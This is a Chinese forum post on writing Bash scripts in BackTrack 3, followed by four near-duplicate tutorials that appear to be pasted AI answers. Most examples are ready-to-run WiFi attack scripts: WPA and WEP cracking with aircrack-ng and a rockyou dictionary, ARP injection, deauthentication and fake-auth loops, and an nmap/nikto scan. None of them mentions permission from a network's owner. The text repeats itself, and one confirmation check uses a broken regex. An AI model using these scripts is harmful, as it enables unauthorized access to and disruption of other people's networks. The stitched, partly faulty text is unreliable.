]BT3下批处理程序编制教程
]BT3下批处理程序编制教程进行破解时,往往要输入很多命令,很多是重复的,并且有的命令还很长,容易输错。为此,我考虑是否能象dos下一样,编制一个类似bat文件的批处理文件。linux下称为shell。
费了不少力气,在网上找到了这个简单教程。
现在我已经编好了自己的带参数的批处理程序,比较简单,但很实用。
下面是教程,需要一点DOS基础。
您提到的在BT3(BackTrack 3)环境下编写批处理脚本的需求非常实用。以下是针对Linux Shell脚本编写的精简教程,结合了DOS批处理习惯的对比说明:
---
### 一、Shell脚本基础(DOS对比版)
1. **创建脚本文件**
```bash
nano myhack.sh# 类似DOS的 edit hack.bat
```
2. **添加执行权限**
```bash
chmod +x myhack.sh# 不同于DOS,Linux需要显式授权
```
3. **基础结构**
```bash
#!/bin/bash # 类似DOS的@echo off
# 这是注释 # DOS使用::
echo "开始攻击..."# 相当于echo 开始攻击...
```
---
### 二、实战参数传递
```bash
#!/bin/bash
interface=$1 # %1 → $1
target_ip=$2 # %2 → $2
timeout=${3:-60}# 带默认值的参数
echo "[+] 使用网卡: $interface"
echo "[+] 目标地址: $target_ip"
echo "[+] 超时设置: ${timeout}s"
```
---
### 三、破解常用功能模块
1. **无线扫描自动化**
```bash
#!/bin/bash
airodump-ng -c $1 --bssid $2 -w cap $3
```
2. **Deauth攻击循环**
```bash
for i in {1..5}; do
aireplay-ng -0 5 -a $AP_MAC -c $CLIENT_MAC $INTERFACE
sleep 10
done
```
---
### 四、高级技巧
1. **条件判断**
```bash
if [ $(iwconfig $1 | grep -c "Mode:Monitor") -eq 0 ]; then
echo "错误:网卡未开启监听模式!"
exit 1
fi
```
2. **进度显示**
```bash
while true; do
echo -n "." # 类似DOS的<p>标签效果
sleep 1
done
```
---
### 五、调试技巧
1. **调试模式运行**
```bash
bash -x myscript.sh# 类似DOS的echo on
```
2. **错误跟踪**
```bash
trap 'echo "错误发生在第 $LINENO 行"' ERR
```
---
### 六、完整示例脚本
```bash
#!/bin/bash
# WPA破解自动化脚本
# 用法:./wpa_crack.sh wlan0 00:11:22:33:44:55
if [ $# -ne 2 ]; then
echo "用法:$0 <接口> <BSSID>"
exit 1
fi
echo "[*] 启动监听模式..."
airmon-ng start $1
echo "[*] 开始捕获数据包..."
airodump-ng --bssid $2 -w capture ${1}mon
echo "[*] 执行强制解除认证..."
aireplay-ng -0 10 -a $2 ${1}mon
echo "[*] 开始字典攻击..."
aircrack-ng -w rockyou.txt capture.cap
```
---
### 注意事项:
1. BT3默认使用bash shell
2. 需要root权限的命令前加`sudo`
3. 路径建议使用绝对路径:`/usr/local/bin/aircrack-ng`
4. 特殊字符需转义:`\` 替代DOS的^
5. 使用`dos2unix`命令转换Windows创建的脚本
建议结合具体渗透测试工具(如aircrack-ng套件)的命令参数进行脚本封装,可大幅提升无线安全测试效率。调试时建议分模块验证,逐步组合成完整脚本。 以下是针对BT3环境编写Shell批处理程序的简明教程,利用Bash脚本简化重复命令操作:
---
### **BT3 Shell批处理编程快速指南**
#### 1. 创建脚本文件
```bash
nano myhack.sh# 使用nano编辑器创建脚本(也可用vi)
```
---
#### 2. 脚本基础结构
```bash
#!/bin/bash # 首行声明使用Bash解释器(类似DOS的.bat)
# 注释行以#开头(类比DOS的rem)
echo "启动安全检测..."# 输出提示信息
```
---
#### 3. 执行常规命令
将常用命令按顺序写入:
```bash
ifconfig eth0 down
airmon-ng start wlan0
airodump-ng mon0
```
---
#### 4. 添加参数支持
通过 `$1` `$2` 获取参数(类似DOS的%1 %2):
```bash
#!/bin/bash
echo "正在扫描目标:$1"
aireplay-ng -0 $2 -a $1 mon0# $1=AP_MAC, $2=攻击次数
```
---
#### 5. 示例:自动化WEP破解
```bash
#!/bin/bash
# 用法:./wep_crack.sh 目标MAC 抓包文件名
airodump-ng -c 6 --bssid $1 -w $2 mon0
echo "抓包完成后,执行:"
echo "aircrack-ng -z $2-01.cap"
```
---
#### 6. 设置执行权限
```bash
chmod +x myhack.sh# 添加可执行权限(类似attrib +x)
```
---
#### 7. 运行脚本
```bash
./wep_crack.sh 00:1A:2B:33:44:55 wep_data# 带参数执行
```
---
### **关键技巧提醒**
1. **路径问题**:BT3工具通常位于`/pentest/`目录,建议使用绝对路径
```bash
/pentest/wireless/aircrack-ng -a 1 $1
```
2. **错误处理**:添加执行状态检查
```bash
if [ $? -ne 0 ]; then# 判断上条命令是否成功
echo "网卡监控模式启动失败!"
exit 1
fi
```
3. **变量赋值**:使用等号无空格(与DOS不同)
```bash
CHANNEL=6
airodump-ng -c $CHANNEL ...
```
---
### **与DOS批处理对比表**
| 功能 | DOS批处理 | BT3 Shell脚本 |
|--------------|-------------------|---------------------|
| 注释 | `rem 注释` | `# 注释` |
| 参数引用 | `%1` `%2` | `$1` `$2` |
| 变量赋值 | `set var=value` | `var=value` |
| 输出信息 | `echo 信息` | `echo "信息"` |
| 执行权限 | 自动拥有 | 需`chmod +x` |
掌握这些基础技巧后,即可将重复操作封装为高效的一键式脚本,显著提升在BT3环境中的工作效率。建议从简单脚本开始,逐步增加参数验证、错误处理等复杂功能。 以下是针对BackTrack 3(BT3)环境下编写Shell批处理脚本的实用指南,特别适合有DOS基础的用户快速上手:
---
### **一、Shell脚本基础概念**
1. **脚本文件结构**
```bash
#!/bin/bash
# 注释行(以#开头)
命令1
命令2
```
2. **创建与执行**
```bash
nano myhack.sh # 创建脚本文件
chmod +x myhack.sh # 添加执行权限
./myhack.sh # 运行脚本
```
---
### **二、DOS批处理与Shell脚本对比表**
| DOS批处理 (.bat) | Linux Shell脚本 (.sh) |
|-------------------------|----------------------------|
| `echo Hello` | `echo "Hello"` |
| `%1` (第一个参数) | `$1` |
| `REM 注释` | `# 注释` |
| `set var=value` | `var="value"` |
| `if exist file.txt` | `if [ -f file.txt ]` |
---
### **三、实战案例 - WiFi破解自动化脚本**
```bash
#!/bin/bash
# 文件名:autocrack.sh
# 用途:自动化WEP破解流程
# 检查参数是否存在
if [ $# -ne 3 ]; then
echo "用法: $0 <接口> <BSSID> <频道>"
exit 1
fi
INTERFACE=$1
TARGET_BSSID=$2
CHANNEL=$3
# 步骤1:启动监控模式
airmon-ng start $INTERFACE $CHANNEL
mon_interface=${INTERFACE}mon
# 步骤2:捕获数据包
airodump-ng -c $CHANNEL --bssid $TARGET_BSSID -w output $mon_interface &
PID=$!
# 步骤3:ARP注入攻击
aireplay-ng -3 -b $TARGET_BSSID -h 00:11:22:33:44:55 $mon_interface
# 步骤4:破解密钥
aircrack-ng -b $TARGET_BSSID output*.cap
# 清理
kill $PID
airmon-ng stop $mon_interface
```
**使用方式:**
```bash
./autocrack.sh wlan0 00:1A:2B:3C:4D:5E 6
```
---
### **四、高级技巧**
1. **后台执行命令**
`命令 &` 让命令后台运行
```bash
airodump-ng -c 6 $mon_interface > log.txt &
```
2. **条件判断**
```bash
if [ $(id -u) -ne 0 ]; then
echo "需要root权限!"
exit 1
fi
```
3. **循环处理**
```bash
for i in {1..5}; do
aireplay-ng --deauth $i -a $BSSID $mon_interface
done
```
4. **错误处理**
```bash
if ! airmon-ng start $INTERFACE; then
echo "监控模式启动失败!"
exit 1
fi
```
---
### **五、调试技巧**
1. **显示执行命令**
```bash
set -x # 开启调试模式
set +x # 关闭调试模式
```
2. **逐步执行**
```bash
bash -x script.sh
```
---
### **六、注意事项**
1. BT3默认使用**bash 3.x**,注意语法兼容性
2. 敏感操作建议添加确认提示:
```bash
read -p "确定要执行解除认证攻击?(y/n)" -n 1 -r
if [[ $REPLY =~ ^$ ]]; then
aireplay-ng --deauth 10 -a $BSSID $mon_interface
fi
```
通过将常用攻击流程脚本化,可显著提升渗透测试效率。建议从简单脚本开始,逐步增加异常处理和日志记录功能。 以下是针对BT3(BackTrack 3)环境下编写Shell批处理脚本的简明教程,特别适合有DOS基础的用户快速上手:
---
### **BT3 Shell脚本编写基础教程**
#### 1. 新建脚本文件
```bash
nano myhack.sh# 使用nano编辑器创建脚本(也可用vi)
```
#### 2. 脚本基础结构
```bash
#!/bin/bash # 必须的首行声明(类似DOS的@echo off)
# 这是注释行 # "#"号开头为注释(类似DOS的::)
命令1 # 直接写Linux命令
命令2
```
#### 3. 添加执行权限(关键步骤!)
```bash
chmod +x myhack.sh# 赋予可执行权限(DOS无需此步骤)
```
#### 4. 运行脚本方法
```bash
./myhack.sh # 直接运行(需在脚本目录)
```
---
### **实用功能示例**
#### ▶ 带参数脚本(类似DOS的%1)
```bash
#!/bin/bash
airmon-ng start $1 # $1表示第一个参数
airodump-ng $2 # $2表示第二个参数
```
使用方式:
```bash
./myhack.sh wlan0 mon0
```
#### ▶ 组合复杂命令
```bash
#!/bin/bash
echo "【!】正在启动无线监控..."
airmon-ng check kill
airmon-ng start wlan0
airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w /root/cap mon0
```
#### ▶ 判断参数是否存在
```bash
#!/bin/bash
if [ -z "$1" ]; then
echo "错误:缺少网卡参数!"
echo "用法:./scan.sh wlan0"
exit 1
fi
airoscript $1
```
---
### **与DOS批处理对比速查表**
| 功能 | DOS批处理 | BT3 Shell脚本 |
|------------------|-----------------------|----------------------|
| 注释行 | `:: 注释` | `# 注释` |
| 参数引用 | `%1` `%2` | `$1` `$2` |
| 输出文本 | `echo Hello` | `echo "Hello"` |
| 条件判断 | `IF "%1"==""` | `if [ -z "$1" ]` |
| 执行权限 | 无需 | 需要`chmod +x` |
| 连续执行命令 | `命令1 & 命令2` | `命令1 ; 命令2` |
---
### **高级技巧**
1. **后台执行命令**
```bash
aireplay-ng --deauth 0 -a AP_MAC mon0 &
```
2. **记录输出日志**
```bash
airodump-ng mon0 | tee capture.log
```
3. **循环攻击示例**
```bash
for i in {1..10}; do
aireplay-ng --fakeauth 0 -a AP_MAC mon0
sleep 5
done
```
---
### **典型应用场景**
1. **自动化握手包捕获**
```bash
#!/bin/bash
# 用法:./autocapture.sh wlan0 AP_MAC
airmon-ng start $1
airodump-ng --bssid $2 -w /root/handshake mon0
```
2. **一键式漏洞扫描**
```bash
#!/bin/bash
echo "【*】启动综合扫描..."
nmap -sV -O 192.168.1.0/24
nikto -h http://$1
```
---
**注意事项:**
1. BT3默认使用**bash解释器**,建议脚本首行保持`#!/bin/bash`
2. 涉及无线工具时,注意网卡接口名的变化(wlan0 → mon0)
3. 特权命令前需加`sudo`(如:`sudo airmon-ng start wlan0`)
掌握这些基础后,可通过组合常用渗透测试命令大幅提升效率。建议从简单脚本开始,逐步增加条件判断等复杂功能。
页:
[1]